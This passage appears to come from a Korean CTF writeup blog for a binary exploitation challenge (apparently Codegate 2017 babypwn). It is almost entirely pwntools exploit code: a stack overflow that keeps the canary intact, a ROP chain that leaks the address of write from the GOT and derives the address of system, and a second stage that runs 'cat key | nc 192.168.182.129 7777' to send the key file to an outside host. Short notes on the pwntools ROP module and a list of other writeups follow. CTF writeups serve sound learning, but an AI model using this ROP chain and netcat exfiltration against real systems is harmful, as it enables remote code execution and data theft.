#payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
payload = 'y'*10 + p32(canary) + "a"*12 + rop.chain()
r2.send(payload)
sleep(1)
data2 = r2.recv(2048)
write = r2.recv(2048)
print hexdump(write)
print '[+] leaked write addr : 0x%x' % u32(write)
system = u32(write) - offset
print '[+] system addr : 0x%x' % system
e.symbols['system'] = system
# Stage 2 : ROP Exploit
print '\n\n\n ### Stage 2 : ROP Exploit \n\n\n'
cmd = "cat key | nc 192.168.182.129 7777\x00"
r3 = remote(SIP ,SPORT)
print r3.recvuntil('>')
r3.send('4')
print r3.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(read_plt) + p32(pppr) + p32(0x4) + p32(bss) + p32(len(cmd)) + p32(system) + "AAAA" + p32(bss)
rop2.read(0x4, bss, len(cmd))
rop2.system(bss)
payload = 'y'*10 + p32(canary) + "a"*12 + rop2.chain()
r3.send(payload)
sleep(1)
r3.send(cmd)
print r3.recv(1024)
기존에는 아래와 같이 p32 만 사용했었는데, 이번에 ROP 모듈을 살펴보니 훨씬 쉽게 작성이 가능했다.
payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
rop.chain()
nc 로 열고 exploit 을 실행하면 키값을 읽어오는 것을 확인할 수 있다.
끄읏
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |